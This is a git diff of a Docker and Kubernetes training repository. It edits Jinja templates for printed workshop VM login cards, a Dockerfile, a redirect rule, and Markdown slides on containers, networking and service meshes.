<img class="enix" src="https://enix.io/static/img/logos/logo-domain-cropped.png" />
|
||||
<table>
|
||||
<tr><td>cluster:</td></tr>
|
||||
<tr><td class="logpass">{{ clusterprefix }}</td></tr>
|
||||
<tr><td>identifiant:</td></tr>
|
||||
<tr><td class="logpass">docker</td></tr>
|
||||
<tr><td>mot de passe:</td></tr>
|
||||
<tr><td class="logpass">{{ docker_user_password }}</td></tr>
|
||||
</table>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Adresse{{ plural }} IP :
|
||||
<!--<img class="kube" src="{{ image_src }}" />-->
|
||||
<table>
|
||||
{% for node in cluster %}
|
||||
<tr><td>{{ clusterprefix }}{{ loop.index }}:</td><td>{{ node }}</td></tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</p>
|
||||
<p>Le support de formation est à l'adresse suivante :
|
||||
<center>{{ url }}</center>
|
||||
</p>
|
||||
</div>
|
||||
{% endfor %}
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,99 +1,29 @@
|
||||
{#
|
||||
The variables below can be customized here directly, or in your
|
||||
settings.yaml file. Any variable in settings.yaml will be exposed
|
||||
in here as well.
|
||||
#}
|
||||
|
||||
{%- set url = url
|
||||
| default("http://FIXME.container.training/") -%}
|
||||
{%- set pagesize = pagesize
|
||||
| default(9) -%}
|
||||
{%- set lang = lang
|
||||
| default("en") -%}
|
||||
{%- set event = event
|
||||
| default("training session") -%}
|
||||
{%- set backside = backside
|
||||
| default(False) -%}
|
||||
{%- set image = image
|
||||
| default("kube") -%}
|
||||
{%- set clusternumber = clusternumber
|
||||
| default(None) -%}
|
||||
|
||||
{%- set image_src = {
|
||||
"docker": "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png",
|
||||
"swarm": "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png",
|
||||
"kube": "https://avatars1.githubusercontent.com/u/13629408",
|
||||
"enix": "https://enix.io/static/img/logos/logo-domain-cropped.png",
|
||||
}[image] -%}
|
||||
{%- if lang == "en" and clustersize == 1 -%}
|
||||
{%- set intro -%}
|
||||
Here is the connection information to your very own
|
||||
machine for this {{ event }}.
|
||||
You can connect to this VM with any SSH client.
|
||||
{%- endset -%}
|
||||
{%- set listhead -%}
|
||||
Your machine is:
|
||||
{%- endset -%}
|
||||
{%- endif -%}
|
||||
{%- if lang == "en" and clustersize != 1 -%}
|
||||
{%- set intro -%}
|
||||
Here is the connection information to your very own
|
||||
cluster for this {{ event }}.
|
||||
You can connect to each VM with any SSH client.
|
||||
{%- endset -%}
|
||||
{%- set listhead -%}
|
||||
Your machines are:
|
||||
{%- endset -%}
|
||||
{%- endif -%}
|
||||
{%- if lang == "fr" and clustersize == 1 -%}
|
||||
{%- set intro -%}
|
||||
Voici les informations permettant de se connecter à votre
|
||||
machine pour cette formation.
|
||||
Vous pouvez vous connecter à cette machine virtuelle
|
||||
avec n'importe quel client SSH.
|
||||
{%- endset -%}
|
||||
{%- set listhead -%}
|
||||
Adresse IP:
|
||||
{%- endset -%}
|
||||
{%- endif -%}
|
||||
{%- if lang == "en" and clusterprefix != "node" -%}
|
||||
{%- set intro -%}
|
||||
Here is the connection information for the
|
||||
<strong>{{ clusterprefix }}</strong> environment.
|
||||
{%- endset -%}
|
||||
{%- endif -%}
|
||||
{%- if lang == "fr" and clustersize != 1 -%}
|
||||
{%- set intro -%}
|
||||
Voici les informations permettant de se connecter à votre
|
||||
cluster pour cette formation.
|
||||
Vous pouvez vous connecter à chaque machine virtuelle
|
||||
avec n'importe quel client SSH.
|
||||
{%- endset -%}
|
||||
{%- set listhead -%}
|
||||
Adresses IP:
|
||||
{%- endset -%}
|
||||
{%- endif -%}
|
||||
{%- if lang == "en" -%}
|
||||
{%- set slides_are_at -%}
|
||||
You can find the slides at:
|
||||
{%- endset -%}
|
||||
{%- endif -%}
|
||||
{%- if lang == "fr" -%}
|
||||
{%- set slides_are_at -%}
|
||||
Le support de formation est à l'adresse suivante :
|
||||
{%- endset -%}
|
||||
{# Feel free to customize or override anything in there! #}
|
||||
{%- set url = "http://container.training/" -%}
|
||||
{%- set pagesize = 12 -%}
|
||||
{%- if clustersize == 1 -%}
|
||||
{%- set workshop_name = "Docker workshop" -%}
|
||||
{%- set cluster_or_machine = "machine" -%}
|
||||
{%- set this_or_each = "this" -%}
|
||||
{%- set machine_is_or_machines_are = "machine is" -%}
|
||||
{%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
|
||||
{%- else -%}
|
||||
{%- set workshop_name = "orchestration workshop" -%}
|
||||
{%- set cluster_or_machine = "cluster" -%}
|
||||
{%- set this_or_each = "each" -%}
|
||||
{%- set machine_is_or_machines_are = "machines are" -%}
|
||||
{%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
|
||||
{%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
|
||||
{%- set image_src = image_src_swarm -%}
|
||||
{%- endif -%}
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
||||
<html>
|
||||
<head><style>
|
||||
@import url('https://fonts.googleapis.com/css?family=Slabo+27px');
|
||||
|
||||
body, table {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
line-height: 1em;
|
||||
font-size: 15px;
|
||||
font-family: 'Slabo 27px';
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
table {
|
||||
@@ -107,54 +37,24 @@ table {
|
||||
div {
|
||||
float: left;
|
||||
border: 1px dotted black;
|
||||
{% if backside %}
|
||||
height: 31%;
|
||||
{% endif %}
|
||||
padding-top: 1%;
|
||||
padding-bottom: 1%;
|
||||
/* columns * (width+left+right) < 100% */
|
||||
/*
|
||||
width: 21.5%;
|
||||
padding-left: 1.5%;
|
||||
padding-right: 1.5%;
|
||||
*/
|
||||
/**/
|
||||
width: 30%;
|
||||
padding-left: 1.5%;
|
||||
padding-right: 1.5%;
|
||||
/**/
|
||||
}
|
||||
|
||||
p {
|
||||
margin: 0.4em 0 0.4em 0;
|
||||
}
|
||||
|
||||
div.back {
|
||||
border: 1px dotted white;
|
||||
}
|
||||
|
||||
div.back p {
|
||||
margin: 0.5em 1em 0 1em;
|
||||
}
|
||||
|
||||
img {
|
||||
height: 4em;
|
||||
float: right;
|
||||
margin-right: -0.2em;
|
||||
margin-right: -0.4em;
|
||||
}
|
||||
|
||||
/*
|
||||
img.enix {
|
||||
height: 4.0em;
|
||||
margin-top: 0.4em;
|
||||
}
|
||||
|
||||
img.kube {
|
||||
height: 4.2em;
|
||||
margin-top: 1.7em;
|
||||
}
|
||||
*/
|
||||
|
||||
.logpass {
|
||||
font-family: monospace;
|
||||
font-weight: bold;
|
||||
@@ -169,17 +69,19 @@ img.kube {
|
||||
</style></head>
|
||||
<body>
|
||||
{% for cluster in clusters %}
|
||||
{% if loop.index0>0 and loop.index0%pagesize==0 %}
|
||||
<span class="pagebreak"></span>
|
||||
{% endif %}
|
||||
<div>
|
||||
<p>{{ intro }}</p>
|
||||
|
||||
<p>
|
||||
Here is the connection information to your very own
|
||||
{{ cluster_or_machine }} for this {{ workshop_name }}.
|
||||
You can connect to {{ this_or_each }} VM with any SSH client.
|
||||
</p>
|
||||
<p>
|
||||
{% if image_src %}
|
||||
<img src="{{ image_src }}" />
|
||||
{% endif %}
|
||||
<table>
|
||||
{% if clusternumber != None %}
|
||||
<tr><td>cluster:</td></tr>
|
||||
<tr><td class="logpass">{{ clusternumber + loop.index }}</td></tr>
|
||||
{% endif %}
|
||||
<tr><td>login:</td></tr>
|
||||
<tr><td class="logpass">docker</td></tr>
|
||||
<tr><td>password:</td></tr>
|
||||
@@ -188,46 +90,17 @@ img.kube {
|
||||
|
||||
</p>
|
||||
<p>
|
||||
{{ listhead }}
|
||||
Your {{ machine_is_or_machines_are }}:
|
||||
<table>
|
||||
{% for node in cluster %}
|
||||
<tr>
|
||||
<td>{{ clusterprefix }}{{ loop.index }}:</td>
|
||||
<td>{{ node }}</td>
|
||||
</tr>
|
||||
<tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
{% if url %}
|
||||
{{ slides_are_at }}
|
||||
<p>You can find the slides at:
|
||||
<center>{{ url }}</center>
|
||||
{% endif %}
|
||||
</p>
|
||||
</div>
|
||||
{% if loop.index%pagesize==0 or loop.last %}
|
||||
<span class="pagebreak"></span>
|
||||
{% if backside %}
|
||||
{% for x in range(pagesize) %}
|
||||
<div class="back">
|
||||
<br/>
|
||||
<p>You got this at the workshop
|
||||
"Getting Started With Kubernetes and Container Orchestration"
|
||||
during QCON London (March 2019).</p>
|
||||
<p>If you liked that workshop,
|
||||
I can train your team or organization
|
||||
on Docker, container, and Kubernetes,
|
||||
with curriculums of 1 to 5 days.
|
||||
</p>
|
||||
<p>Interested? Contact me at:</p>
|
||||
<p>jerome.petazzoni@gmail.com</p>
|
||||
<p>Thank you!</p>
|
||||
</div>
|
||||
{% endfor %}
|
||||
<span class="pagebreak"></span>
|
||||
{% endif %}
|
||||
{% endif %}
|
||||
{% endfor %}
|
||||
</body>
|
||||
</html>
|
||||
|
||||
121
prepare-vms/templates/enix.html
Normal file
@@ -0,0 +1,121 @@
|
||||
{# Feel free to customize or override anything in there! #}
|
||||
{%- set url = "http://FIXME.container.training" -%}
|
||||
{%- set pagesize = 9 -%}
|
||||
{%- if clustersize == 1 -%}
|
||||
{%- set workshop_name = "Docker workshop" -%}
|
||||
{%- set cluster_or_machine = "machine virtuelle" -%}
|
||||
{%- set this_or_each = "cette" -%}
|
||||
{%- set plural = "" -%}
|
||||
{%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
|
||||
{%- else -%}
|
||||
{%- set workshop_name = "Kubernetes workshop" -%}
|
||||
{%- set cluster_or_machine = "cluster" -%}
|
||||
{%- set this_or_each = "chaque" -%}
|
||||
{%- set plural = "s" -%}
|
||||
{%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
|
||||
{%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
|
||||
{%- set image_src = image_src_kube -%}
|
||||
{%- endif -%}
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
||||
<html>
|
||||
<head><style>
|
||||
@import url('https://fonts.googleapis.com/css?family=Slabo+27px');
|
||||
|
||||
body, table {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
line-height: 1em;
|
||||
font-size: 15px;
|
||||
font-family: 'Slabo 27px';
|
||||
}
|
||||
|
||||
table {
|
||||
border-spacing: 0;
|
||||
margin-top: 0.4em;
|
||||
margin-bottom: 0.4em;
|
||||
border-left: 0.8em double grey;
|
||||
padding-left: 0.4em;
|
||||
}
|
||||
|
||||
div {
|
||||
float: left;
|
||||
border: 1px dotted black;
|
||||
padding-top: 1%;
|
||||
padding-bottom: 1%;
|
||||
/* columns * (width+left+right) < 100% */
|
||||
width: 30%;
|
||||
padding-left: 1.5%;
|
||||
padding-right: 1.5%;
|
||||
}
|
||||
|
||||
p {
|
||||
margin: 0.4em 0 0.4em 0;
|
||||
}
|
||||
|
||||
img {
|
||||
height: 4em;
|
||||
float: right;
|
||||
margin-right: -0.3em;
|
||||
}
|
||||
|
||||
img.enix {
|
||||
height: 4.0em;
|
||||
margin-top: 0.4em;
|
||||
}
|
||||
|
||||
img.kube {
|
||||
height: 4.2em;
|
||||
margin-top: 1.7em;
|
||||
}
|
||||
|
||||
.logpass {
|
||||
font-family: monospace;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.pagebreak {
|
||||
page-break-after: always;
|
||||
clear: both;
|
||||
display: block;
|
||||
height: 8px;
|
||||
}
|
||||
</style></head>
|
||||
<body>
|
||||
{% for cluster in clusters %}
|
||||
{% if loop.index0>0 and loop.index0%pagesize==0 %}
|
||||
<span class="pagebreak"></span>
|
||||
{% endif %}
|
||||
<div>
|
||||
|
||||
<p>
|
||||
Voici les informations permettant de se connecter à votre
|
||||
{{ cluster_or_machine }} pour cette formation.
|
||||
Vous pouvez vous connecter à {{ this_or_each }} machine virtuelle
|
||||
avec n'importe quel client SSH.
|
||||
</p>
|
||||
<p>
|
||||
<img class="enix" src="https://enix.io/static/img/logos/logo-domain-cropped.png" />
|
||||
<table>
|
||||
<tr><td>identifiant:</td></tr>
|
||||
<tr><td class="logpass">docker</td></tr>
|
||||
<tr><td>mot de passe:</td></tr>
|
||||
<tr><td class="logpass">{{ docker_user_password }}</td></tr>
|
||||
</table>
|
||||
|
||||
</p>
|
||||
<p>
|
||||
Adresse{{ plural }} IP :
|
||||
<!--<img class="kube" src="{{ image_src }}" />-->
|
||||
<table>
|
||||
{% for node in cluster %}
|
||||
<tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</p>
|
||||
<p>Le support de formation est à l'adresse suivante :
|
||||
<center>{{ url }}</center>
|
||||
</p>
|
||||
</div>
|
||||
{% endfor %}
|
||||
</body>
|
||||
</html>
|
||||
134
prepare-vms/templates/jerome.html
Normal file
@@ -0,0 +1,134 @@
|
||||
{# Feel free to customize or override anything in there! #}
|
||||
{%- set url = "http://qconuk2019.container.training/" -%}
|
||||
{%- set pagesize = 9 -%}
|
||||
{%- if clustersize == 1 -%}
|
||||
{%- set workshop_name = "Docker workshop" -%}
|
||||
{%- set cluster_or_machine = "machine" -%}
|
||||
{%- set this_or_each = "this" -%}
|
||||
{%- set machine_is_or_machines_are = "machine is" -%}
|
||||
{%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
|
||||
{%- else -%}
|
||||
{%- set workshop_name = "Kubernetes workshop" -%}
|
||||
{%- set cluster_or_machine = "cluster" -%}
|
||||
{%- set this_or_each = "each" -%}
|
||||
{%- set machine_is_or_machines_are = "machines are" -%}
|
||||
{%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
|
||||
{%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
|
||||
{%- set image_src = image_src_kube -%}
|
||||
{%- endif -%}
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
||||
<html>
|
||||
<head><style>
|
||||
@import url('https://fonts.googleapis.com/css?family=Slabo+27px');
|
||||
body, table {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
line-height: 1.0em;
|
||||
font-size: 15px;
|
||||
font-family: 'Slabo 27px';
|
||||
}
|
||||
|
||||
table {
|
||||
border-spacing: 0;
|
||||
margin-top: 0.4em;
|
||||
margin-bottom: 0.4em;
|
||||
border-left: 0.8em double grey;
|
||||
padding-left: 0.4em;
|
||||
}
|
||||
|
||||
div {
|
||||
float: left;
|
||||
border: 1px dotted black;
|
||||
height: 31%;
|
||||
padding-top: 1%;
|
||||
padding-bottom: 1%;
|
||||
/* columns * (width+left+right) < 100% */
|
||||
width: 30%;
|
||||
padding-left: 1.5%;
|
||||
padding-right: 1.5%;
|
||||
}
|
||||
|
||||
div.back {
|
||||
border: 1px dotted white;
|
||||
}
|
||||
|
||||
div.back p {
|
||||
margin: 0.5em 1em 0 1em;
|
||||
}
|
||||
|
||||
p {
|
||||
margin: 0.4em 0 0.8em 0;
|
||||
}
|
||||
|
||||
img {
|
||||
height: 5em;
|
||||
float: right;
|
||||
margin-right: 1em;
|
||||
}
|
||||
|
||||
.logpass {
|
||||
font-family: monospace;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.pagebreak {
|
||||
page-break-after: always;
|
||||
clear: both;
|
||||
display: block;
|
||||
height: 8px;
|
||||
}
|
||||
</style></head>
|
||||
<body>
|
||||
{% for cluster in clusters %}
|
||||
<div>
|
||||
|
||||
<p>
|
||||
Here is the connection information to your very own
|
||||
{{ cluster_or_machine }} for this {{ workshop_name }}.
|
||||
You can connect to {{ this_or_each }} VM with any SSH client.
|
||||
</p>
|
||||
<p>
|
||||
<img src="{{ image_src }}" />
|
||||
<table>
|
||||
<tr><td>login:</td></tr>
|
||||
<tr><td class="logpass">docker</td></tr>
|
||||
<tr><td>password:</td></tr>
|
||||
<tr><td class="logpass">{{ docker_user_password }}</td></tr>
|
||||
</table>
|
||||
|
||||
</p>
|
||||
<p>
|
||||
Your {{ machine_is_or_machines_are }}:
|
||||
<table>
|
||||
{% for node in cluster %}
|
||||
<tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</p>
|
||||
<p>You can find the slides at:
|
||||
<center>{{ url }}</center>
|
||||
</p>
|
||||
</div>
|
||||
{% if loop.index%pagesize==0 or loop.last %}
|
||||
<span class="pagebreak"></span>
|
||||
{% for x in range(pagesize) %}
|
||||
<div class="back">
|
||||
<br/>
|
||||
<p>You got this at the workshop
|
||||
"Getting Started With Kubernetes and Container Orchestration"
|
||||
during QCON London (March 2019).</p>
|
||||
<p>If you liked that workshop,
|
||||
I can train your team or organization
|
||||
on Docker, container, and Kubernetes,
|
||||
with curriculums of 1 to 5 days.
|
||||
</p>
|
||||
<p>Interested? Contact me at:</p>
|
||||
<p>jerome.petazzoni@gmail.com</p>
|
||||
<p>Thank you!</p>
|
||||
</div>
|
||||
{% endfor %}
|
||||
<span class="pagebreak"></span>
|
||||
{% endif %}
|
||||
{% endfor %}
|
||||
</body>
|
||||
</html>
|
||||
106
prepare-vms/templates/kube101.html
Normal file
@@ -0,0 +1,106 @@
|
||||
{# Feel free to customize or override anything in there! #}
|
||||
{%- set url = "http://container.training/" -%}
|
||||
{%- set pagesize = 12 -%}
|
||||
{%- if clustersize == 1 -%}
|
||||
{%- set workshop_name = "Docker workshop" -%}
|
||||
{%- set cluster_or_machine = "machine" -%}
|
||||
{%- set this_or_each = "this" -%}
|
||||
{%- set machine_is_or_machines_are = "machine is" -%}
|
||||
{%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
|
||||
{%- else -%}
|
||||
{%- set workshop_name = "Kubernetes workshop" -%}
|
||||
{%- set cluster_or_machine = "cluster" -%}
|
||||
{%- set this_or_each = "each" -%}
|
||||
{%- set machine_is_or_machines_are = "machines are" -%}
|
||||
{%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
|
||||
{%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
|
||||
{%- set image_src = image_src_kube -%}
|
||||
{%- endif -%}
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
||||
<html>
|
||||
<head><style>
|
||||
body, table {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
line-height: 1em;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
table {
|
||||
border-spacing: 0;
|
||||
margin-top: 0.4em;
|
||||
margin-bottom: 0.4em;
|
||||
border-left: 0.8em double grey;
|
||||
padding-left: 0.4em;
|
||||
}
|
||||
|
||||
div {
|
||||
float: left;
|
||||
border: 1px dotted black;
|
||||
padding-top: 1%;
|
||||
padding-bottom: 1%;
|
||||
/* columns * (width+left+right) < 100% */
|
||||
width: 21.5%;
|
||||
padding-left: 1.5%;
|
||||
padding-right: 1.5%;
|
||||
}
|
||||
|
||||
p {
|
||||
margin: 0.4em 0 0.4em 0;
|
||||
}
|
||||
|
||||
img {
|
||||
height: 4em;
|
||||
float: right;
|
||||
margin-right: -0.4em;
|
||||
}
|
||||
|
||||
.logpass {
|
||||
font-family: monospace;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.pagebreak {
|
||||
page-break-after: always;
|
||||
clear: both;
|
||||
display: block;
|
||||
height: 8px;
|
||||
}
|
||||
</style></head>
|
||||
<body>
|
||||
{% for cluster in clusters %}
|
||||
{% if loop.index0>0 and loop.index0%pagesize==0 %}
|
||||
<span class="pagebreak"></span>
|
||||
{% endif %}
|
||||
<div>
|
||||
|
||||
<p>
|
||||
Here is the connection information to your very own
|
||||
{{ cluster_or_machine }} for this {{ workshop_name }}.
|
||||
You can connect to {{ this_or_each }} VM with any SSH client.
|
||||
</p>
|
||||
<p>
|
||||
<img src="{{ image_src }}" />
|
||||
<table>
|
||||
<tr><td>login:</td></tr>
|
||||
<tr><td class="logpass">docker</td></tr>
|
||||
<tr><td>password:</td></tr>
|
||||
<tr><td class="logpass">{{ docker_user_password }}</td></tr>
|
||||
</table>
|
||||
|
||||
</p>
|
||||
<p>
|
||||
Your {{ machine_is_or_machines_are }}:
|
||||
<table>
|
||||
{% for node in cluster %}
|
||||
<tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</p>
|
||||
<p>You can find the slides at:
|
||||
<center>{{ url }}</center>
|
||||
</p>
|
||||
</div>
|
||||
{% endfor %}
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,4 +0,0 @@
|
||||
This directory will contain symlinks to HTML and PDF files for the cards
|
||||
with the IP address, login, and password for the training environments.
|
||||
|
||||
The file "index.html" is empty on purpose: it prevents listing the files.
|
||||
@@ -1,4 +1,7 @@
|
||||
FROM alpine:3.9
|
||||
RUN apk add --no-cache entr py-pip git
|
||||
FROM alpine
|
||||
RUN apk update
|
||||
RUN apk add entr
|
||||
RUN apk add py-pip
|
||||
RUN apk add git
|
||||
COPY requirements.txt .
|
||||
RUN pip install -r requirements.txt
|
||||
|
||||
@@ -2,6 +2,3 @@
|
||||
#/ /kube-halfday.yml.html 200
|
||||
/ /kube-fullday.yml.html 200!
|
||||
#/ /kube-twodays.yml.html 200
|
||||
|
||||
# And this allows to do "git clone https://container.training".
|
||||
/info/refs service=git-upload-pack https://github.com/jpetazzo/container.training/info/refs?service=git-upload-pack
|
||||
|
||||
@@ -150,7 +150,7 @@ Different deployments will use different underlying technologies.
|
||||
* Ad-hoc deployments can use a master-less discovery protocol
|
||||
like avahi to register and discover services.
|
||||
* It is also possible to do one-shot reconfiguration of the
|
||||
ambassadors. It is slightly less dynamic but has far fewer
|
||||
ambassadors. It is slightly less dynamic but has much less
|
||||
requirements.
|
||||
* Ambassadors can be used in addition to, or instead of, overlay networks.
|
||||
|
||||
@@ -186,48 +186,22 @@ Different deployments will use different underlying technologies.
|
||||
|
||||
---
|
||||
|
||||
## Some popular service meshes
|
||||
## Section summary
|
||||
|
||||
... And related projects:
|
||||
We've learned how to:
|
||||
|
||||
* [Consul Connect](https://www.consul.io/docs/connect/index.html)
|
||||
<br/>
|
||||
Transparently secures service-to-service connections with mTLS.
|
||||
* Understand the ambassador pattern and what it is used for (service portability).
|
||||
|
||||
* [Gloo](https://gloo.solo.io/)
|
||||
<br/>
|
||||
API gateway that can interconnect applications on VMs, containers, and serverless.
|
||||
For more information about the ambassador pattern, including demos on Swarm and ECS:
|
||||
|
||||
* AWS re:invent 2015 [DVO317](https://www.youtube.com/watch?v=7CZFpHUPqXw)
|
||||
|
||||
* [SwarmWeek video about Swarm+Compose](https://youtube.com/watch?v=qbIvUvwa6As)
|
||||
|
||||
Some services meshes and related projects:
|
||||
|
||||
* [Istio](https://istio.io/)
|
||||
<br/>
|
||||
A popular service mesh.
|
||||
|
||||
* [Linkerd](https://linkerd.io/)
|
||||
<br/>
|
||||
Another popular service mesh.
|
||||
|
||||
---
|
||||
|
||||
## Learning more about service meshes
|
||||
|
||||
A few blog posts about service meshes:
|
||||
|
||||
* [Containers, microservices, and service meshes](http://jpetazzo.github.io/2019/05/17/containers-microservices-service-meshes/)
|
||||
<br/>
|
||||
Provides historical context: how did we do before service meshes were invented?
|
||||
|
||||
* [Do I Need a Service Mesh?](https://www.nginx.com/blog/do-i-need-a-service-mesh/)
|
||||
<br/>
|
||||
Explains the purpose of service meshes. Illustrates some NGINX features.
|
||||
|
||||
* [Do you need a service mesh?](https://www.oreilly.com/ideas/do-you-need-a-service-mesh)
|
||||
<br/>
|
||||
Includes high-level overview and definitions.
|
||||
|
||||
* [What is Service Mesh and Why Do We Need It?](https://containerjournal.com/2018/12/12/what-is-service-mesh-and-why-do-we-need-it/)
|
||||
<br/>
|
||||
Includes a step-by-step demo of Linkerd.
|
||||
|
||||
And a video:
|
||||
|
||||
* [What is a Service Mesh, and Do I Need One When Developing Microservices?](https://www.datawire.io/envoyproxy/service-mesh/)
|
||||
* [Gloo](https://gloo.solo.io/)
|
||||
|
||||
@@ -98,13 +98,13 @@ COPY prometheus.conf /etc
|
||||
|
||||
* Allows arbitrary customization and complex configuration files.
|
||||
|
||||
* Requires writing a configuration file. (Obviously!)
|
||||
* Requires to write a configuration file. (Obviously!)
|
||||
|
||||
* Requires building an image to start the service.
|
||||
* Requires to build an image to start the service.
|
||||
|
||||
* Requires rebuilding the image to reconfigure the service.
|
||||
* Requires to rebuild the image to reconfigure the service.
|
||||
|
||||
* Requires rebuilding the image to upgrade the service.
|
||||
* Requires to rebuild the image to upgrade the service.
|
||||
|
||||
* Configured images can be stored in registries.
|
||||
|
||||
@@ -132,11 +132,11 @@ docker run -v appconfig:/etc/appconfig myapp
|
||||
|
||||
* Allows arbitrary customization and complex configuration files.
|
||||
|
||||
* Requires creating a volume for each different configuration.
|
||||
* Requires to create a volume for each different configuration.
|
||||
|
||||
* Services with identical configurations can use the same volume.
|
||||
|
||||
* Doesn't require building / rebuilding an image when upgrading / reconfiguring.
|
||||
* Doesn't require to build / rebuild an image when upgrading / reconfiguring.
|
||||
|
||||
* Configuration can be generated or edited through another container.
|
||||
|
||||
@@ -198,4 +198,4 @@ E.g.:
|
||||
|
||||
- read the secret on stdin when the service starts,
|
||||
|
||||
- pass the secret using an API endpoint.
|
||||
- pass the secret using an API endpoint.
|
||||
@@ -257,7 +257,7 @@ $ docker kill 068 57ad
|
||||
The `stop` and `kill` commands can take multiple container IDs.
|
||||
|
||||
Those containers will be terminated immediately (without
|
||||
the 10-second delay).
|
||||
the 10 seconds delay).
|
||||
|
||||
Let's check that our containers don't show up anymore:
|
||||
|
||||
|
||||
@@ -222,16 +222,16 @@ CMD ["hello world"]
|
||||
Let's build it:
|
||||
|
||||
```bash
|
||||
$ docker build -t myfiglet .
|
||||
$ docker build -t figlet .
|
||||
...
|
||||
Successfully built 6e0b6a048a07
|
||||
Successfully tagged myfiglet:latest
|
||||
Successfully tagged figlet:latest
|
||||
```
|
||||
|
||||
Run it without parameters:
|
||||
|
||||
```bash
|
||||
$ docker run myfiglet
|
||||
$ docker run figlet
|
||||
_ _ _ _
|
||||
| | | | | | | | |
|
||||
| | _ | | | | __ __ ,_ | | __|
|
||||
@@ -246,7 +246,7 @@ $ docker run myfiglet
|
||||
Now let's pass extra arguments to the image.
|
||||
|
||||
```bash
|
||||
$ docker run myfiglet hola mundo
|
||||
$ docker run figlet hola mundo
|
||||
_ _
|
||||
| | | | |
|
||||
| | __ | | __, _ _ _ _ _ __| __
|
||||
@@ -262,13 +262,13 @@ We overrode `CMD` but still used `ENTRYPOINT`.
|
||||
|
||||
What if we want to run a shell in our container?
|
||||
|
||||
We cannot just do `docker run myfiglet bash` because
|
||||
We cannot just do `docker run figlet bash` because
|
||||
that would just tell figlet to display the word "bash."
|
||||
|
||||
We use the `--entrypoint` parameter:
|
||||
|
||||
```bash
|
||||
$ docker run -it --entrypoint bash myfiglet
|
||||
$ docker run -it --entrypoint bash figlet
|
||||
root@6027e44e2955:/#
|
||||
```
|
||||
|
||||
|
||||
@@ -86,7 +86,7 @@ like Windows, macOS, Solaris, FreeBSD ...
|
||||
|
||||
* No notion of image (container filesystems have to be managed manually).
|
||||
|
||||
* Networking has to be set up manually.
|
||||
* Networking has to be setup manually.
|
||||
|
||||
---
|
||||
|
||||
@@ -104,6 +104,22 @@ like Windows, macOS, Solaris, FreeBSD ...
|
||||
|
||||
---
|
||||
|
||||
## rkt
|
||||
|
||||
* Compares to `runc`.
|
||||
|
||||
* No daemon or API.
|
||||
|
||||
* Strong emphasis on security (through privilege separation).
|
||||
|
||||
* Networking has to be setup separately (e.g. through CNI plugins).
|
||||
|
||||
* Partial image management (pull, but no push).
|
||||
|
||||
(Image build is handled by separate tools.)
|
||||
|
||||
---
|
||||
|
||||
## CRI-O
|
||||
|
||||
* Designed to be used with Kubernetes as a simple, basic runtime.
|
||||
@@ -136,7 +152,7 @@ We're not aware of anyone using it directly (i.e. outside of Kubernetes).
|
||||
|
||||
* Basic image support (tar archives and raw disk images).
|
||||
|
||||
* Network has to be set up manually.
|
||||
* Network has to be setup manually.
|
||||
|
||||
---
|
||||
|
||||
@@ -148,7 +164,7 @@ We're not aware of anyone using it directly (i.e. outside of Kubernetes).
|
||||
|
||||
* Run each container in a lightweight virtual machine.
|
||||
|
||||
* Requires running on bare metal *or* with nested virtualization.
|
||||
* Requires to run on bare metal *or* with nested virtualization.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -474,7 +474,7 @@ When creating a network, extra options can be provided.
|
||||
|
||||
* `--ip-range` (in CIDR notation) indicates the subnet to allocate from.
|
||||
|
||||
* `--aux-address` allows specifying a list of reserved addresses (which won't be allocated to containers).
|
||||
* `--aux-address` allows to specify a list of reserved addresses (which won't be allocated to containers).
|
||||
|
||||
---
|
||||
|
||||
@@ -528,9 +528,7 @@ Very short instructions:
|
||||
- `docker network create mynet --driver overlay`
|
||||
- `docker service create --network mynet myimage`
|
||||
|
||||
If you want to learn more about Swarm mode, you can check
|
||||
[this video](https://www.youtube.com/watch?v=EuzoEaE6Cqs)
|
||||
